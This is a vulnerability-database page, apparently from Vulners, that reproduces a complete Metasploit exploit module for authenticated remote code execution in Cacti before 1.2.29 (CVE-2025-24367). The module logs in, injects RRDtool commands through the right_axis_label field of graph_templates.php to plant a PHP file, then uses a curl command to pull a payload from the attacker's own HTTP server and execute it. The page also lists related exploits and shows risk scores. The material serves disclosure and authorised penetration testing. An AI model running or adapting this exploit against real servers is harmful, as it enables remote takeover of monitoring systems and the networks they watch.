Lucene search
K

📄 Cacti Graph Template Authenticated Remote Code Execution

🗓️ 23 Jan 2026 00:00:00Reported by Jack Heysel, chutchutType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 116 Views

Authenticated remote code execution in Cacti before 1.2.29 via graph_templates.php right_axis_label.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
MonitorsFour-Write-UP
26 May 202611:00
githubexploit
GithubExploit
Exploit for Improper Neutralization of Line Delimiters in Cacti
14 Dec 202523:08
githubexploit
GithubExploit
Exploit for Improper Neutralization of Line Delimiters in Cacti
14 Dec 202520:29
githubexploit
GithubExploit
Exploit for Improper Neutralization of Line Delimiters in Cacti
2 May 202623:30
githubexploit
GithubExploit
Exploit for Improper Neutralization of Line Delimiters in Cacti
12 Dec 202509:36
githubexploit
GithubExploit
Exploit for Improper Neutralization of Line Delimiters in Cacti
2 May 202606:39
githubexploit
ATTACKERKB
CVE-2025-24367
27 Jan 202518:15
attackerkb
AlpineLinux
CVE-2025-24367
27 Jan 202517:12
alpinelinux
Information Security Automation
February Linux Patch Wednesday
25 Feb 202510:19
avleonov
Circl
CVE-2025-24367
27 Jan 202517:20
circl
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Cacti
      prepend Msf::Exploit::Remote::AutoCheck
    
      class CactiError < StandardError; end
      class CactiNotFoundError < CactiError; end
      class CactiVersionNotFoundError < CactiError; end
      class CactiNoAccessError < CactiError; end
      class CactiCsrfNotFoundError < CactiError; end
      class CactiLoginError < CactiError; end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29',
            'Description' => %q{
              This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.
              Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label
              parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.
              The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.
              The initial payload downloads the full payload using curl from the attacker's server and saves it to the
              web root of the cacti server before executing.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'chutchut', # Original discovery
              'Jack Heysel' # Metasploit module
            ],
            'References' => [
              [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],
              [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'],
              [ 'CVE', '2025-24367'],
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'Linux',
                {
                  'Arch' => [ARCH_CMD, ARCH_PHP],
                  'Platform' => [ 'unix', 'linux', 'php' ],
                  # The graph template id 226 corresponds to "Linux - Logged on users"
                  'TemplateId' => 226
                }
              ],
              [
                'Windows',
                {
                  'Arch' => [ARCH_CMD, ARCH_PHP],
                  'Platform' => [ 'win', 'php' ],
                  # The graph template id 197 corresponds to "Host MIB - Logged in Users"
                  'TemplateId' => 197
                }
              ]
            ],
            'DefaultOptions' => {
              'WfsDelay' => 600
            },
            'DisclosureDate' => '2025-01-27',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
            OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
            OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']),
          ]
        )
      end
    
      def check
        print_status('Checking Cacti version')
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'method' => 'GET',
          'keep_cookies' => true
        )
        return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
    
        html = res.get_html_document
        begin
          @cacti_version = parse_version(html)
          version_msg = "The web server is running Cacti version #{@cacti_version}"
        rescue CactiNotFoundError => e
          return CheckCode::Safe(e.message)
        rescue CactiVersionNotFoundError => e
          return CheckCode::Unknown(e.message)
        end
    
        if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')
          print_good(version_msg)
        else
          return CheckCode::Safe(version_msg)
        end
    
        @csrf_token = parse_csrf_token(html)
        return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
    
        begin
          do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
        rescue CactiError => e
          return CheckCode::Unknown("Login failed: #{e}")
        end
    
        @logged_in = true
        CheckCode::Vulnerable
      end
    
      def csrf_magic_token
        template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s)
        res = send_request_cgi({
          'uri' => template_url,
          'method' => 'GET',
          'keep_cookies' => true
        })
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}")
        end
    
        csrf_magic_token = nil
        magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text
        if magic_script_tag
          magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/
          csrf_magic_token = Regexp.last_match(1)
        end
    
        fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil?
        csrf_magic_token
      end
    
      def generate_right_axis_label(command, php_filename)
        <<~LABEL
          XXX
          create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
          graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`#{command}`;?>
        LABEL
      end
    
      def send_template_update(csrf_magic, right_axis_label)
        data = {
          '__csrf_magic' => csrf_magic,
          'name' => 'Host MIB - Logged in Users',
          'graph_template_id' => target['TemplateId'],
          'graph_template_graph_id' => target['TemplateId'],
          'save_component_template' => '1',
          'title' => '|host_description| - Logged in Users',
          'vertical_label' => 'percent',
          'image_format_id' => '3',
          'height' => '200',
          'width' => '700',
          'base_value' => '1000',
          'slope_mode' => 'on',
          'auto_scale' => 'on',
          'auto_scale_opts' => '2',
          'auto_scale_rigid' => 'on',
          'upper_limit' => '100',
          'lower_limit' => '0',
          'right_axis_label' => right_axis_label,
          'action' => 'save'
        }
    
        update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false')
        res = send_request_cgi!({
          'uri' => update_url,
          'method' => 'POST',
          'keep_cookies' => true,
          'data' => URI.encode_www_form(data)
        })
        print_status("Template update response: HTTP #{res.code}") if res
      end
    
      def trigger_template
        trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
        res = send_request_cgi({
          'uri' => trigger_url,
          'method' => 'GET',
          'keep_cookies' => true
        })
        print_status("Trigger template update response: HTTP #{res.code}") if res
      end
    
      def upload_stage(upload_payload_command)
        csrf_magic = csrf_magic_token
        php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
        register_file_for_cleanup(php_filename)
    
        right_axis_label = generate_right_axis_label(upload_payload_command, php_filename)
        send_template_update(csrf_magic, right_axis_label)
        trigger_template
    
        php_payload_check = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
          'method' => 'GET',
          'keep_cookies' => true
        })
        if php_payload_check && php_payload_check.code == 200
          print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}")
        else
          fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}")
        end
      end
    
      def execute_stage(execute_payload_command)
        csrf_magic = csrf_magic_token
        php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
        register_file_for_cleanup(php_filename)
    
        right_axis_label = generate_right_axis_label(execute_payload_command, php_filename)
        send_template_update(csrf_magic, right_axis_label)
        trigger_template
    
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
          'method' => 'GET',
          'keep_cookies' => true
        })
      end
    
      def on_request_uri(cli, request)
        print_status("Request '#{request.method} #{request.uri}'")
        print_status('Sending payload ...')
        send_response(cli, payload.encoded,
                      'Content-Type' => 'application/octet-stream')
      end
    
      def authenticate
        if @csrf_token.blank? || @cacti_version.blank?
          res = send_request_cgi(
            'uri' => normalize_uri(target_uri.path, 'index.php'),
            'method' => 'GET',
            'keep_cookies' => true
          )
          fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
    
          html = res.get_html_document
          if @csrf_token.blank?
            print_status('Getting the CSRF token to login')
            @csrf_token = parse_csrf_token(html)
            fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
    
            vprint_good("CSRF token: #{@csrf_token}")
          end
    
          if @cacti_version.blank?
            print_status('Getting the version')
            begin
              @cacti_version = parse_version(html)
              vprint_good("Version: #{@cacti_version}")
            rescue CactiError => e
              print_error("Could not get the version, the exploit might fail: #{e}")
            end
          end
        end
    
        unless @logged_in
          begin
            do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
          rescue CactiError => e
            fail_with(Failure::NoAccess, "Login failure: #{e}")
          end
        end
      end
    
      def validate_configuration!
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        if Rex::Socket.is_ipv6?(datastore['SRVHOST'])
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.')
        end
      end
    
      def exploit
        validate_configuration!
        authenticate
        hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)
        start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)
        if payload.arch.first == ARCH_CMD
          if target.name == 'Windows'
            on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat"
            execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}"
          else
            on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1)
            execute_payload_command = "sh\\x20#{on_disk_payload_name}"
          end
        else
          on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php"
          execute_payload_command = "php\\x20#{on_disk_payload_name}"
        end
        vprint_status("Payload execution command: #{execute_payload_command}")
    
        # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported
        upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
        fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47
        upload_stage(upload_payload_command)
        execute_stage(execute_payload_command)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2026 00:00Current
7High risk
Vulners AI Score7
CVSS 3.18.8
CVSS 48.7
EPSS0.87934
SSVC
116